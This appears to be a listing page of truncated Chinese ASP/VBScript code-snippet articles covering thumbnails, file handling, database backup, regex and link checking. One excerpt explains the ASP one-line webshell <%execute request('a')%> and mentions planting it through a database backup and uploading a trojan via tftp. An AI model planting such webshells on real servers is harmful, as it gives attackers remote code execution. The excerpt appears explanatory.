Asp无组件生成缩略图的代码

2017年02月06日 61 阅读

还是先看看基础部分吧。首先，我们知道在页面中显示图片是如下代码： <imgsrc="pic.gif"border="0"width="300"height="260"> src是图片路径，border控制图片边缘宽度，width是图片的长度，height是图片的高度。缩略图的生成其实就是在原始尺寸上缩放。但一般为了尽量少失真，我们都会按比例缩放。于是，获取图片的长宽尺寸也就成了生成缩略图的重点。 下面便是编写无组件生成缩略图的...

asp下用fso生成js文件的代码

2017年02月06日 64 阅读

<%subfsojs（）%> <% Setfso=Server.CreateObject（"Scripting.FileSystemObject"） setfd=fso.createtextfile（server.MapPath（"../category.js"）,true） "开始操作 setrs=server.CreateObject（"adodb.recordset"） rs.Open"select*fromdept_categor...

非常好用的asp备份,还原SQL数据库的代码

2017年02月06日 74 阅读

<formmethod="post"name="myform"action="？action=backupdatabase"> 选择操作： <inputtype="radio"name="act"id="act_backup"value="backup"> <labelfor=act_backup>备份</label> <inputtype="radio"name="act"id="act_restor...

asp从字符串里截取N个带HTML的字符的函数

2017年02月06日 68 阅读

"函数名:getHTMLContent"参数:NO-->要取得的字符数,txtContent-->要处理的字符串 "功能:从字符串里截取N个带HTML的字符,现在的实现方法还不完善,过程是:从字符串里找各种控件的开始,然后依些分开,放到数组里,然后一个一个数组的加上来看看字符是否大于给定的字符如果是,那么,返回这个数组. "作者:柳永法 "时间:2007-6-120:03:）FunctiongetHTMLContent（NO,txtConten...

asp下Response.Buffer提速

2017年02月06日 71 阅读

fori=1to256 yongfa365=yongfa365&"<！--这里主要是让前边先产生２５６个字符，这样才可以实时输出-->" iflen（yongfa365）>=256thenexitfor next MadeBasic（） MadeModel（） MadeIndexBlogItem（） response.Write"１/６所有模版生成完成<br>"&yongfa365 Response.Flush（） MadeI...

ASP,vbs正则轮翻在文章段落后加上网址等内容

2017年02月06日 61 阅读

<scriptlanguage="vbs"> "函数名称：RegExpTest "参数：strng－－》要处理的字符串;patrn－－》以|隔开的各种结尾标志如：<br/>|</p>|<br>;patrn2－－》要替换成的字符串，也以|隔 开 "作者：柳永法（yongfa365）"Blog "功能：将strng字符串内的以patrn结束的字符后边随机的加上patrn2里的内容 FunctionRegExpTe...

ASP为字符串中的网址自动加上链接

2017年02月06日 67 阅读

<% "字段内网址加上联接。 FunctionToLink（Str） DimRE"正则表达式对象DimstrContent IfIsNull（Str）ThenStr="" SetRE=NewRegExp"创建正 则表达式对象 WithRE .Global=True"搜索应用于整个字符串 .IgnoreCase=True"搜索不区分大小写的 strContent=Str "****************************************...

ASP vbs 代码大小写规范

2017年02月06日 50 阅读

ASP vbs 代码大小写规范-脚本之家 function aspvbs（） { var ss=document.getElementById（"aspvbs"）.value; var vbs0="函数关键字|Function|Sub|"; var vbs1="保留关键字|And|As|ByRef|Call|Case|Class|Const|Dim|Do|Each|Else|ElseIf|Empty|End|Eqv|Erase|Ex...

ASP实现智能搜索实现代码

2017年02月06日 59 阅读

<% FunctionAutoKey（strKey） ConstlngSubKey=2 lngLenKey=Len（strKey） SelectCaselngLenKey Case0"若为空串，转到出错页 Response.Redirect"Error.htm" Case1"若长度为1，则不设任何值 strNew1="" strNew2="" CaseElse"若长度大于1，则从字符串首字符开始，循环取长度为2的子字符串作为查询条件 Fori=1To...

asp结合fso实现文件或文件夹创建删除等操作的函数

2017年02月06日 71 阅读

"////////////////////////////////////////////////FSO操作///////////////////////////////////// "判断文件夹是否存在 FunctionFolderExits（Folder） Folder=Server.Mappath（Folder） SetFSO=Server.CreateObject（"Scripting.FileSystemObject"） IFFSO.Folder...

asp下对POST提交数据限制的解决方法

2017年02月06日 73 阅读

问题的解决办法是，对于一个需要发送大数据的域，在提交表单前将数据拆分为小于限额的数份，分别放在数个hidden域中，同时把原有域清空，再正式提交表单。服务器端还是用Request.Form（）读取各hidden域的数据，再按照顺序把他们拼接起来就行了。主要代码如下： 注意：需要在Form中的HTML代码内指定一个DIV,以便向其中动态插入hidden域。 ====客户端示例代码==== 在Form中的HTML代码内加入：<divid=divHidde...

asp+Access通用的自动替换数据库中的字符串

2017年02月06日 59 阅读

当初只是为了玩玩写的，没想到写了之后不断有人询问，所以改写了一下代码，完善了一下，支持了正则替换，避开了会导致出错的二进制（ole对象），并且做了一个EXE的程序。感谢虚拟帮忙。 附asp代码： 复制代码 代码如下:<% "#################################### "批量替换数据库内容2008-3-17"替换是不可逆的，所以操作前做好能备份 "#################################### D...

asp alexa查询小偷程序

2017年02月06日 55 阅读

<% "为了支持原创，请保留该处注释，谢谢！ "作者：草上飞 "获取主域名 FunctiongetDomainUrl（url） tempurl=replace（url,"http://",""） ifinstr（tempurl,"/"）>0then tempurl=left（tempurl,instr（tempurl,"/"）-1） endIf getDomainurl=tempurl EndFunction FunctionGetHttpPa...

迅雷API接口_通过脚本调用迅雷自动下载资源

2017年02月06日 115 阅读

这个实现起来很容易，不过有一个问题，就是每添加个任务，迅雷的对话框就要弹出一次，很是不方便。趁小锋睡觉的时候，我尝试了一下，去掉了对话框，方法如下：首先就是脚本了，各种语言写法不同，我这里提供用vbs写的：复制代码 代码如下:SetThunderAgent=CreateObject（"ThunderAgent.Agent.1"）CallThunderAgent.AddTask（"http://www.jb51.net/file...

asp下的一个检测链接是否正常的函数

2017年02月06日 55 阅读

FunctionurlChk（sUrl） onerrorresumenext SetxmlHttp=Server.CreateObject（"Microsoft.XMLHTTP"） xmlHttp.open"GET",sUrl,false xmlHttp.send ifxmlHttp.Status<>200then urlChk=false else urlChk=true endif EndFunction sUrl="http://www....

asp一句话木马原理分析

2017年02月06日 120 阅读

通过HTTP协议来访问 一句话木马的使用范围（我只列举了2种）: 1）只有数据库备份的情况 数据库备份成asp文件时候，不出现“编译错误，缺少脚本关闭标志%>" 2）SA权限的时候,一般先写入一句话,图个方便..（当然,直接tftp上传鸽子运行,那更快） tftp-iipgetserver.exe 一句话木马<%executerequest（"a"）%>的原理: 首先知道 execute（）函数,是用来执行asp代码的.就是负责执行我们上...

asp生成不需要数据库的中奖码

2017年02月06日 58 阅读

恭喜您，您中奖了，你的中奖码是（请牢记，领奖需要）：ＸＸＸＸＸＸＸＸＸＸＸ 然后用户输入ＸＸＸＸＸＸＸＸＸＸＸ，简单验证后就可以领奖了。 你使用过这样的功能，或者有没有想开发一个这样的功能呢？ 有一个思路是：将一批唯一中奖码，录入的到数据库，中奖时，取出来一条，做一个标记，把中奖码告诉 用户。 但是这样要先将一批中奖码录入到数据库中，有没有其他方法呢？ 比如：200807151054281502895e585d7e4b529e，能不能做到：不到数据库中查询...

asp遍历目录及子目录的函数

2017年02月06日 63 阅读

<%@Language=vbscript%> <% "遍历目录以及目录下文件的函数 %> <% FunctionBianli（path） SetFso=server.createobject（"scripting.filesystemobject"） OnErrorResumeNext SetObjfolder=fso.getfolder（path） SetObjsubfolders=objfolder.subfolders ...

asp数据库连接rs（&quot;user.id&quot;）

2017年02月06日 68 阅读

最近在给客户做一个客户管理系统时遇到一个问题: 使用下列这个连接字符串时情况如下 connstr="DBQ="+server.mappath（"db/#kehumsg.mdb"）+";DefaultDir=;DRIVER={MicrosoftAccessDriver（*.mdb）};" setconn=server.createobject（"ADODB.CONNECTION"） conn.openconnstr 有一个联接查询, 中用到要调用第二个表的i...

vbs或asp采集文章时网页编码问题

2017年02月06日 69 阅读

"/*========================================================================= "*Intro研究网页编码很长时间了，因为最近要设计一个友情链接检测的VBS脚本，而与你链接的人的页面很可能是各种编码，以前采取的方法是：如果用GB2312查不到再用UTF-8查，再找不到证明对方没有给你做链接虽然不是100%正确，但也差不多了，这两种编码用的人比较多，偶然间在收藏夹里的一个地址看到的一个...